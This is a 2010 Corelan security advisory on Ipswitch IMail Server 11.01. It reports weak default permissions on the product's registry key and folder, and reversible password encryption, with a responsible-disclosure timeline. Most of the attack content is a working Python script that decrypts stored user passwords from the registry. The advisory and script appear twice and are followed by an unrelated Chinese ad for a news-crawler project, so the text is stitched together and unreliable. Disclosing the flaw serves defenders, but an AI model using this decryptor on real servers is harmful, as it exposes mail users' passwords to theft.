Ipswitch IMAIL 11.01 multiple vulnerabilities (reversible encryption + weak ACL)

|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ // ___/ _ // / __ `/ __ / / __/ _ // __ `/ __ `__ / |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| /___//____/_/ /___/_//__,_/_/ /_/ /__//___//__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| |
|-------------------------------------------------[ EIP Hunters ]--|

Advisory : CORELAN-10-009
Disclosure Date : Feb 4th, 2010

0x00 : Vulnerability Information

[+] Product : IMail Server
[+] Version : 11.01
[+] Vendor : Ipswitch
[+] URL : http://www.ipswitch.com/
[+] Platform : Windows
[+] Issue fix: No
[+] Vulnerability discovered by: sinn3r
[+] Greetings to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me/ekse/sinn3r/Jacky/jn
z;
and all the guys with secret identities at exploit-db.com :-p
[+] Special thanks to: Jason from Ipswitch

0x01 : Vendor Description of Software

"The Award-winning IMail Server is a proven email messaging solution for small and mid-sized businesses.
Reliable, scalable and versatile, IMail Server is an affordable choice that meets the messaging needs
of small and medium sized businesses. Unlike complicated and more expensive messaging solutions, IMail
Server delivers a quick and easy installation. As a scalable, standards-based, email server with Webmail,
optional integration with Microsoft Exchange ActiveSync(r), SMTP, POP, IMAP, LDAP, and List Server, IMail
users can send and receive email using any standards-based client, including Microsoft Outlook(r),
Outlook Express(r), or Eudora(r). Or, users can access email from anywhere via IMail's customizable Web
messaging, available in eight languages.

Designed to place minimal ongoing maintenance burden on network administrators, IMail can authenticate
users from its own database, an active directory database, or from any ODBC-compliant data store, making
life easier for the busy administrator. IMail Server also delivers a quick and easy installation or upgrade
process."

0x02 : Vulnerability Details

1. By default, IMail allows Internet Guest Account to have "Full Control" to the following registry key,
including its subkeys and values. As well as the default IMail directory:
HKEY_LOCAL_MACHINE/SOFTWARE/Ipswitch/IMail
C:/Program Files/Ipswitch/IMail
2. The IMail password decryption algorithm implemented in IMailsec.dll is also reversible.

0x03 : Vendor Communication

1/21/2010 - IMail vendor contacted
1/26/2010 - Got a reply from the vendor (product development manager) for more vulnerability clarification.
No fix yet.
2/02/2010 - Received another reply from the vendor: Issues logged for additional research. No plans for
immediate changes. A public advisory was also suggested by the vendor as reference in their
tech/KB article.
2/04/2010 - Public disclosure: Advisory created. Vendor informed.

0x04 : Exploit/Proof-of-Concept

#!/usr/bin/python

########################################################################
##
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# Tested on: Windows XP SP3 (Windows version does not matter)
# Description:
# So I reverse engineered the IMail password decryption function in
# IMailsec.dll, located at 0x00563130.
#
# In order to decrypt correctly, you must have the correct username,
# because it is used as a key.
#
# All usernames and passwords are stored in registry, which can be
# found at:
# HKEY_LOCAL_MACHINE/SOFTWARE/Ipswitch/IMail/Domains/[domain name]/Users
# Every registry key under "Users" has a string value named "Password",
# in there you'll find the encrypted password.
#
# By default, Internet Guest Account is granted with "Full Control" to
# the IMail registry, and its directory. That means if an attacker
# manages to gain code execution (ie.via a web app bug), IMail can be
# his/her next playground. And IMail users may not be safe.
#
# Demo:
# sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# coded by sinn3r - x90.sinner{at}gmail.c0m
# [*] Password = god123
#
# Responsible Disclosure Timeline:
# 1/21/2010 - IMail vendor contacted
# 1/26/2010 - Got a reply from the vendor for more vulnerability
# clarfication. No fix yet.
# 2/02/2010 - Received another reply from the vendor: Issues logged for
# additional research. No plans for immediate changes.
# A public advisory was also suggested by the vendor as
# reference in their tech/KB article.
# 2/04/2010 - Public Disclosure. Vendor informed again.
########################################################################
##

import sys
import binascii

## Convert the encrypted string to integers for calculation
## Returns the integer version as a list
def convertToInt(data):
charset = []
for char in (data):
tmp = char.encode("hex")
tmp = int(tmp, 16)
charset.append(tmp)
return charset

## Decrypt the password
## Returns the decrypted version as a list
def decryptPassword(intUsername, intPassword):
results = []
counter = 0
counter2 = 0
pwdLength = len(intPassword)
while counter<pwdLength:
firstByte = intPassword[counter]
if firstByte <= 57: #0x39
firstByte -= 48 #0x30
else:
firstByte -= 55 #0x37
firstByte *= 16 #SHL 0x40
secondByte = intPassword[counter+1]
if secondByte <= 57: #0x39
secondByte -= 48 #0x30
else:
secondByte -= 55 #0x37
tmp = firstByte + secondByte

if len(intUsername) <= counter2:
counter2 = 0

if intUsername[counter2] > 54: #0x41
if intUsername[counter2] < 90: #5A
intUsername[counter2] += 32 #0x20

tmp -= intUsername[counter2]
counter2 += 1

results.append(hex(tmp)[2:])
counter += 2
return results

banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
coded by sinn3r - x90.sinner{at}gmail{d0t}c0m"""

print banner

if len(sys.argv) == 3:
if len(sys.argv[2]) % 2 == 0:
username = convertToInt(sys.argv[1])
password = convertToInt(sys.argv[2])
decryptor = str("".join(decryptPassword(username, password)))
print "[*] Password = %s" %binascii.unhexlify(decryptor)
else:
print "[*] Incorrect Encrypted password length"
else:
print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]

|------------------------------------------------------------------|

| __ __ |

| _________ ________ / /___ _____ / /____ ____ _____ ___ |

| / ___/ __ // ___/ _ // / __ `/ __ / / __/ _ // __ `/ __ `__ / |

| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |

| /___//____/_/ /___/_//__,_/_/ /_/ /__//___//__,_/_/ /_/ /_/ |

| |

| http://www.corelan.be:8800 |

| |

|-------------------------------------------------[ EIP Hunters ]--|

Advisory : CORELAN-10-009

Disclosure Date : Feb 4th, 2010

0x00 : Vulnerability Information

[+] Product : IMail Server

[+] Version : 11.01

[+] Vendor : Ipswitch

[+] URL : http://www.ipswitch.com/

[+] Platform : Windows

[+] Issue fix: No

[+] Vulnerability discovered by: sinn3r

[+] Greetings to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me/ekse/sinn3r/Jacky/jn
z;

and all the guys with secret identities at exploit-db.com :-p

[+] Special thanks to: Jason from Ipswitch

0x01 : Vendor Description of Software

"The Award-winning IMail Server is a proven email messaging solution for small and mid-sized businesses.

Reliable, scalable and versatile, IMail Server is an affordable choice that meets the messaging needs

of small and medium sized businesses. Unlike complicated and more expensive messaging solutions, IMail

Server delivers a quick and easy installation. As a scalable, standards-based, email server with Webmail,

optional integration with Microsoft Exchange ActiveSync®, SMTP, POP, IMAP, LDAP, and List Server, IMail

users can send and receive email using any standards-based client, including Microsoft Outlook®,

Outlook Express®, or Eudora®. Or, users can access email from anywhere via IMail's customizable Web

messaging, available in eight languages.

Designed to place minimal ongoing maintenance burden on network administrators, IMail can authenticate

users from its own database, an active directory database, or from any ODBC-compliant data store, making

life easier for the busy administrator. IMail Server also delivers a quick and easy installation or upgrade

process."

0x02 : Vulnerability Details

1. By default, IMail allows Internet Guest Account to have "Full Control" to the following registry key,

including its subkeys and values. As well as the default IMail directory:

HKEY_LOCAL_MACHINE/SOFTWARE/Ipswitch/IMail

C:/Program Files/Ipswitch/IMail

2. The IMail password decryption algorithm implemented in IMailsec.dll is also reversible.

0x03 : Vendor Communication

1/21/2010 - IMail vendor contacted

1/26/2010 - Got a reply from the vendor (product development manager) for more vulnerability clarification.

No fix yet.

2/02/2010 - Received another reply from the vendor: Issues logged for additional research. No plans for

immediate changes. A public advisory was also suggested by the vendor as reference in their

tech/KB article.

2/04/2010 - Public disclosure: Advisory created. Vendor informed.

0x04 : Exploit/Proof-of-Concept

#!/usr/bin/python

########################################################################
##

# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor

# Tested on: Windows XP SP3 (Windows version does not matter)

# Description:

# So I reverse engineered the IMail password decryption function in

# IMailsec.dll, located at 0x00563130.

#

# In order to decrypt correctly, you must have the correct username,

# because it is used as a key.

#

# All usernames and passwords are stored in registry, which can be

# found at:

# HKEY_LOCAL_MACHINE/SOFTWARE/Ipswitch/IMail/Domains/[domain name]/Users

# Every registry key under "Users" has a string value named "Password",

# in there you'll find the encrypted password.

#

# By default, Internet Guest Account is granted with "Full Control" to

# the IMail registry, and its directory. That means if an attacker

# manages to gain code execution (ie.via a web app bug), IMail can be

# his/her next playground. And IMail users may not be safe.

#

# Demo:

# sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094

# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor

# coded by sinn3r - x90.sinner{at}gmail.c0m

# [*] Password = god123

#

# Responsible Disclosure Timeline:

# 1/21/2010 - IMail vendor contacted

# 1/26/2010 - Got a reply from the vendor for more vulnerability

# clarfication. No fix yet.

# 2/02/2010 - Received another reply from the vendor: Issues logged for

# additional research. No plans for immediate changes.

# A public advisory was also suggested by the vendor as

# reference in their tech/KB article.

# 2/04/2010 - Public Disclosure. Vendor informed again.

########################################################################
##

import sys

import binascii

## Convert the encrypted string to integers for calculation

## Returns the integer version as a list

def convertToInt(data):

charset = []

for char in (data):

tmp = char.encode("hex")

tmp = int(tmp, 16)

charset.append(tmp)

return charset

## Decrypt the password

## Returns the decrypted version as a list

def decryptPassword(intUsername, intPassword):

results = []

counter = 0

counter2 = 0

pwdLength = len(intPassword)

while counter<pwdLength:

firstByte = intPassword[counter]

if firstByte <= 57: #0x39

firstByte -= 48 #0x30

else:

firstByte -= 55 #0x37

firstByte *= 16 #SHL 0x40

secondByte = intPassword[counter+1]

if secondByte <= 57: #0x39

secondByte -= 48 #0x30

else:

secondByte -= 55 #0x37

tmp = firstByte + secondByte

if len(intUsername) <= counter2:

counter2 = 0

if intUsername[counter2] > 54: #0x41

if intUsername[counter2] < 90: #5A

intUsername[counter2] += 32 #0x20

tmp -= intUsername[counter2]

counter2 += 1

results.append(hex(tmp)[2:])

counter += 2

return results

banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor

coded by sinn3r - x90.sinner{at}gmail{d0t}c0m"""

print banner

if len(sys.argv) == 3:

if len(sys.argv[2]) % 2 == 0:

username = convertToInt(sys.argv[1])

password = convertToInt(sys.argv[2])

decryptor = str("".join(decryptPassword(username, password)))

print "[*] Password = %s" %binascii.unhexlify(decryptor)

else:

print "[*] Incorrect Encrypted password length"

else:

print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]

Python网络爬虫与推荐算法新闻推荐平台:网络爬虫:通过Python实现新浪新闻的爬取,可爬取新闻页面上的标题、文本、图片、视频链接(保留排版) 推荐算法:权重衰减+标签推荐+区域推荐+热点推荐.zip项目工程资源经过严格测试可直接运行成功且功能正常的情况才上传,可轻松复刻,拿到资料包后可轻松复现出一样的项目,本人系统开发经验充足(全领域),有任何使用问题欢迎随时与我联系,我会及时为您解惑,提供帮助。 【资源内容】:包含完整源码+工程文件+说明(如有)等。答辩评审平均分达到96分,放心下载使用!可轻松复现,设计报告也可借鉴此项目,该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的。 【提供帮助】:有任何使用问题欢迎随时与我联系,我会及时解答解惑,提供帮助 【附带帮助】:若还需要相关开发工具、学习资料等,我会提供帮助,提供资料,鼓励学习进步 【项目价值】:可用在相关项目设计中,皆可应用在项目、毕业设计、课程设计、期末/期中/大作业、工程实训、大创等学科竞赛比赛、初期项目立项、学习/练手等方面,可借鉴此优质项目实现复刻,设计报告也可借鉴此项目,也可基于此项目来扩展开发出更多功能 下载后请首先打开README文件(如有),项目工程可直接复现复刻,如果基础还行,也可在此程序基础上进行修改,以实现其它功能。供开源学习/技术交流/学习参考,勿用于商业用途。质量优质,放心下载使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值